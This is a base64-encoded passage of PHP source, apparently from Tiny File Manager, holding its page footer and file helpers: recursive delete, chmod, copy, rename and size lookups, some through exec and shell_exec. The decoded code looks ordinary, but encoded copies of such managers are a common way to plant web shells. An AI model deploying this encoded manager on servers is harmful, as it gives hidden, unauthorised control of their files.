pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJ0YXIiIGlkPSJhLXRhciIgdmFsdWU9InRhciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKSI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS10YXInKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtYXJjaGl2ZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdUYXInKSA/PiA8L2E+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iY29weSIgaWQ9ImEtY29weSIgdmFsdWU9IkNvcHkiPgogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtY29weScpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ29weScpID8+IDwvYT48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImNvbC0zIGQtbm9uZSBkLXNtLWJsb2NrIj48YSBocmVmPSJodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZmxvYXQtcmlnaHQgdGV4dC1tdXRlZCI+VGlueSBGaWxlIE1hbmFnZXIgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2Rpdj4KICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPjxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmbG9hdC1yaWdodCB0ZXh0LW11dGVkIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PC9hPjwvZGl2PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPC9kaXY+CjwvZm9ybT4KCjw/cGhwCmZtX3Nob3dfZm9vdGVyKCk7CgovLyAtLS0gRU5EIEhUTUwgLS0tCgovLyBGdW5jdGlvbnMKCi8qKgogKiBJdCBwcmludHMgdGhlIGNzcy9qcyBmaWxlcyBpbnRvIGh0bWwKICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LgogKi8KZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSkgewogICAgZ2xvYmFsICRleHRlcm5hbDsKCiAgICBpZighYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkZXh0ZXJuYWwpKSB7CiAgICAgICAgLy8gdGhyb3cgbmV3IEV4Y2VwdGlvbignS2V5IG1pc3NpbmcgaW4gZXh0ZXJuYWw6ICcgLiBrZXkpOwogICAgICAgIGVjaG8gIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+IjsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgZWNobyAiJGV4dGVybmFsWyRrZXldIjsKfQoKLyoqCiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VyaWZ5CiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gdmVyaWZ5VG9rZW4oJHRva2VuKSAKewogICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkgeyAKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIERlbGV0ZSAgZmlsZSBvciBmb2xkZXIgKHJlY3Vyc2l2ZWx5KQogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aCkKewogICAgaWYgKGlzX2xpbmsoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7CiAgICB9IGVsc2VpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgJG9rID0gdHJ1ZTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAoJG9rKSA/IHJtZGlyKCRwYXRoKSA6IGZhbHNlOwogICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBSZWN1cnNpdmUgY2htb2QKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcGFyYW0gaW50ICRmaWxlbW9kZQogKiBAcGFyYW0gaW50ICRkaXJtb2RlCiAqIEByZXR1cm4gYm9vbAogKiBAdG9kbyBXaWxsIHVzZSBpbiBtYXNzIGNobW9kCiAqLwpmdW5jdGlvbiBmbV9yY2htb2QoJHBhdGgsICRmaWxlbW9kZSwgJGRpcm1vZGUpCnsKICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgaWYgKCFjaG1vZCgkcGF0aCwgJGRpcm1vZGUpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JjaG1vZCgkcGF0aCAuICcvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlaWYgKGlzX2xpbmsoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gY2htb2QoJHBhdGgsICRmaWxlbW9kZSk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBDaGVjayB0aGUgZmlsZSBleHRlbnNpb24gd2hpY2ggaXMgYWxsb3dlZCBvciBub3QKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9pc192YWxpZF9leHQoJGZpbGVuYW1lKQp7CiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7CgogICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgcmV0dXJuICgkaXNGaWxlQWxsb3dlZCkgPyB0cnVlIDogZmFsc2U7Cn0KCi8qKgogKiBTYWZlbHkgcmVuYW1lCiAqIEBwYXJhbSBzdHJpbmcgJG9sZAogKiBAcGFyYW0gc3RyaW5nICRuZXcKICogQHJldHVybiBib29sfG51bGwKICovCmZ1bmN0aW9uIGZtX3JlbmFtZSgkb2xkLCAkbmV3KQp7CiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTsKCiAgICBpZighaXNfZGlyKCRvbGQpKSB7CiAgICAgICAgaWYgKCEkaXNGaWxlQWxsb3dlZCkgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIHJldHVybiAoIWZpbGVfZXhpc3RzKCRuZXcpICYmIGZpbGVfZXhpc3RzKCRvbGQpKSA/IHJlbmFtZSgkb2xkLCAkbmV3KSA6IG51bGw7Cn0KCi8qKgogKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIHN0cmluZyAkZGVzdAogKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlcwogKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fcmNvcHkoJHBhdGgsICRkZXN0LCAkdXBkID0gdHJ1ZSwgJGZvcmNlID0gdHJ1ZSkKewogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRkZXN0LCAkZm9yY2UpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkb2sgPSB0cnVlOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJHBhdGggLiAnLycgLiAkZmlsZSwgJGRlc3QgLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb2s7CiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogU2FmZWx5IGNyZWF0ZSBmb2xkZXIKICogQHBhcmFtIHN0cmluZyAkZGlyCiAqIEBwYXJhbSBib29sICRmb3JjZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX21rZGlyKCRkaXIsICRmb3JjZSkKewogICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgewogICAgICAgICAgICByZXR1cm4gJGRpcjsKICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHVubGluaygkZGlyKTsKICAgIH0KICAgIHJldHVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsKfQoKLyoqCiAqIFNhZmVseSBjb3B5IGZpbGUKICogQHBhcmFtIHN0cmluZyAkZjEKICogQHBhcmFtIHN0cmluZyAkZjIKICogQHBhcmFtIGJvb2wgJHVwZCBJbmRpY2F0ZXMgaWYgZmlsZSBzaG91bGQgYmUgdXBkYXRlZCB3aXRoIG5ldyBjb250ZW50CiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fY29weSgkZjEsICRmMiwgJHVwZCkKewogICAgJHRpbWUxID0gZmlsZW10aW1lKCRmMSk7CiAgICBpZiAoZmlsZV9leGlzdHMoJGYyKSkgewogICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpOwogICAgICAgIGlmICgkdGltZTIgPj0gJHRpbWUxICYmICR1cGQpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgICRvayA9IGNvcHkoJGYxLCAkZjIpOwogICAgaWYgKCRvaykgewogICAgICAgIHRvdWNoKCRmMiwgJHRpbWUxKTsKICAgIH0KICAgIHJldHVybiAkb2s7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aAogKiBAcmV0dXJuIG1peGVkfHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHsKICAgICAgICAkZmluZm8gPSBmaW5mb19vcGVuKEZJTEVJTkZPX01JTUVfVFlQRSk7CiAgICAgICAgJG1pbWUgPSBmaW5mb19maWxlKCRmaW5mbywgJGZpbGVfcGF0aCk7CiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7CiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpOwogICAgfSBlbHNlaWYgKCFzdHJpc3RyKGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdzaGVsbF9leGVjJykpIHsKICAgICAgICAkZmlsZSA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlX3BhdGgpOwogICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAnLS0nOwogICAgfQp9CgovKioKICogSFRUUCBSZWRpcmVjdAogKiBAcGFyYW0gc3RyaW5nICR1cmwKICogQHBhcmFtIGludCAkY29kZQogKi8KZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpCnsKICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7CiAgICBleGl0Owp9CgovKioKICogUGF0aCB0cmF2ZXJzYWwgcHJldmVudGlvbiBhbmQgY2xlYW4gdGhlIHVybAogKiBJdCByZXBsYWNlcyAoY29uc2VjdXRpdmUpIG9jY3VycmVuY2VzIG9mIC8gYW5kIFxcIHdpdGggd2hhdGV2ZXIgaXMgaW4gRElSRUNUT1JZX1NFUEFSQVRPUiwgYW5kIHByb2Nlc3NlcyAvLiBhbmQgLy4uIGZpbmUuCiAqIEBwYXJhbSAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpIHsKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOwogICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7CiAgICAkYWJzb2x1dGVzID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlOwogICAgICAgIGlmICgnLi4nID09ICRwYXJ0KSB7CiAgICAgICAgICAgIGFycmF5X3BvcCgkYWJzb2x1dGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYWJzb2x1dGVzW10gPSAkcGFydDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkYWJzb2x1dGVzKTsKfQoKLyoqCiAqIENsZWFuIHBhdGgKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fY2xlYW5fcGF0aCgkcGF0aCwgJHRyaW0gPSB0cnVlKQp7CiAgICAkcGF0aCA9ICR0cmltID8gdHJpbSgkcGF0aCkgOiAkcGF0aDsKICAgICRwYXRoID0gdHJpbSgkcGF0aCwgJ1xcLycpOwogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi4vJywgJy4uXFwnKSwgJycsICRwYXRoKTsKICAgICRwYXRoID0gIGdldF9hYnNvbHV0ZV9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCA9PSAnLi4nKSB7CiAgICAgICAgJHBhdGggPSAnJzsKICAgIH0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKfQoKLyoqCiAqIEdldCBwYXJlbnQgcGF0aAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbHxzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aCkKewogICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7CiAgICAgICAgICAgICRhcnJheSA9IGFycmF5X3NsaWNlKCRhcnJheSwgMCwgLTEpOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLycsICRhcnJheSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKQp7CiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7CiAgICBzd2l0Y2ggKCRwYXRoX2Rpc3BsYXlfbW9kZSkgewogICAgICAgIGNhc2UgJ3JlbGF0aXZlJzoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnUGF0aCcsCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKHN0cl9yZXBsYWNlKCRyb290X3BhdGgsICcnLCAkZmlsZV9wYXRoKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2FzZSAnaG9zdCc6CiAgICAgICAgICAgICRyZWxhdGl2ZV9wYXRoID0gc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpOwogICAgICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICAgICAnbGFiZWwnID0+ICdIb3N0IFBhdGgnLAogICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbignLycgLiAkcm9vdF91cmwgLiAnLycgLiBsdHJpbShzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyZWxhdGl2ZV9wYXRoKSwgJy8nKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2FzZSAnZnVsbCc6CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnRnVsbCBQYXRoJywKICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGVfcGF0aCkpCiAgICAgICAgICAgICk7CiAgICB9Cn0KCi8qKgogKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdAogKiBAcGFyYW0gc3RyaW5nICRmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkgewogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkgewogICAgICAgIHVuc2V0KCRleGNsdWRlX2l0ZW1zKTsKICAgIH0KCiAgICAkZXhjbHVkZV9pdGVtcyA9IEZNX0VYQ0xVREVfSVRFTVM7CiAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSB7CiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7CiAgICB9CiAgICBpZiAoIWluX2FycmF5KCRmaWxlLCAkZXhjbHVkZV9pdGVtcykgJiYgIWluX2FycmF5KCIqLiRleHQiLCAkZXhjbHVkZV9pdGVtcykpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGUKICogQHBhcmFtIGludCAkdHIKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpIHsKICAgIHRyeSB7CiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3RyYW5zbGF0aW9uLmpzb24nKTsKICAgICAgICBpZigkY29udGVudCAhPT0gRkFMU0UpIHsKICAgICAgICAgICAgJGxuZyA9IGpzb25fZGVjb2RlKCRjb250ZW50LCBUUlVFKTsKICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsbmdbImxhbmd1YWdlIl0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRjb2RlID0gJHZhbHVlWyJjb2RlIl07CiAgICAgICAgICAgICAgICAkbGFuZ19saXN0WyRjb2RlXSA9ICR2YWx1ZVsibmFtZSJdOwogICAgICAgICAgICAgICAgaWYgKCR0cikKICAgICAgICAgICAgICAgICAgICAkdHJbJGNvZGVdID0gJHZhbHVlWyJ0cmFuc2xhdGlvbiJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdHI7CiAgICAgICAgfQoKICAgIH0KICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBlY2hvICRlOwogICAgfQp9CgovKioKICogQHBhcmFtIHN0cmluZyAkZmlsZQogKiBSZWNvdmVyIGFsbCBmaWxlIHNpemVzIGxhcmdlciB0aGFuID4gMkdCLgogKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4CiAqIEByZXR1cm4gaW50fHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X3NpemUoJGZpbGUpCnsKICAgIHN0YXRpYyAkaXN3aW47CiAgICBzdGF0aWMgJGlzZGFyd2luOwogICAgaWYgKCFpc3NldCgkaXN3aW4pKSB7CiAgICAgICAgJGlzd2luID0gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09ICdXSU4nKTsKICAgIH0KICAgIGlmICghaXNzZXQoJGlzZGFyd2luKSkgewogICAgICAgICRpc2RhcndpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDApKSA9PSAiREFSV0lOIik7CiAgICB9CgogICAgc3RhdGljICRleGVjX3dvcmtzOwogICAgaWYgKCFpc3NldCgkZXhlY193b3JrcykpIHsKICAgICAgICAkZXhlY193b3JrcyA9IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09ICdFWEVDJyk7CiAgICB9CgogICAgLy8gdHJ5IGEgc2hlbGwgY29tbWFuZAogICAgaWYgKCRleGVjX3dvcmtzKSB7CiAgICAgICAgJGFyZyA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlKTsKICAgICAgICAkY21kID0gKCRpc3dpbikgPyAiZm9yICVGIGluIChcIiRmaWxlXCIpIGRvIEBlY2hvICV+ekYiIDogKCRpc2RhcndpbiA/ICJzdGF0IC1mJXogJGFyZyIgOiAic3RhdCAtYyVzICRhcmciKTsKICAgICAgICBAZXhlYygkY21kLCAkb3V0cHV0KTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIHRyeSB0aGUgV2luZG93cyBDT00gaW50ZXJmYWNlCiAgICBpZiAoJGlzd2luICYmIGNsYXNzX2V4aXN0cygiQ09NIikpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOwogICAgICAgICAgICAkZiA9ICRmc29iai0+R2V0RmlsZSggcmVhbHBhdGgoJGZpbGUpICk7CiAgICAgICAgICAgICRzaXplID0gJGYtPlNpemU7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICRzaXplID0gbnVsbDsKICAgICAgICB9CiAgICAgICAgaWYgKGN0eXBlX2RpZ2l0KCRzaXplKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIGlmIGFsbCBlbHNlIGZhaWxzCiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpOwp9CgovKioKICogR2V0IG5pY2UgZmlsZXNpemUKICogQHBhcmFtIGludCAkc2l6ZQogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKQp7CiAgICAkc2l6ZSA9IChmbG9hdCkgJHNpemU7CiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOwogICAgJHBvd2VyID0gKCRzaXplID4gMCkgPyBmbG9vcihsb2coJHNpemUsIDEwMjQpKSA6IDA7CiAgICAkcG93ZXIgPSAoJHBvd2VyID4gKGNvdW50KCR1bml0cykgLSAxKSkgPyAoY291bnQoJHVuaXRzKSAtIDEpIDogJHBvd2VyOwogICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgLyBwb3coMTAyNCwgJHBvd2VyKSwgMiksICR1bml0c1skcG93ZXJdKTsKfQoKLyoqCiAqIEdldCB0b3RhbCBzaXplIG9mIGRpcmVjdG9yeSB0cmVlLgogKgogKiBAcGFyYW0gIHN0cmluZyAkZGlyZWN0b3J5IFJlbGF0aXZlIG9yIGFic29sdXRlIGRpcmVjdG9yeSBuYW1lLgogKiBAcmV0dXJuIGludCBUb3RhbCBudW1iZXIgb2YgYnl0ZXMuCiAqLwpmdW5jdGlvbiBmbV9nZXRfZGlyZWN0b3J5c2l6ZSgkZGlyZWN0b3J5KSB7CiAgICAkYnl0ZXMgPSAwOwogICAgJGRpcmVjdG9yeSA9IHJlYWxwYXRoKCRkaXJlY3RvcnkpOwogICAgaWYgKCRkaXJlY3RvcnkgIT09IGZhbHNlICYmICRkaXJlY3RvcnkgIT0gJycgJiYgZmlsZV9leGlzdHMoJGRpcmVjdG9yeSkpewogICAgICAgIGZvcmVhY2gobmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXJlY3RvcnksIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSkgYXMgJGZpbGUpewogICAgICAgICAgICAkYnl0ZXMgKz0gJGZpbGUtPmdldFNpemUoKTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJGJ5dGVzOwp9CgovKi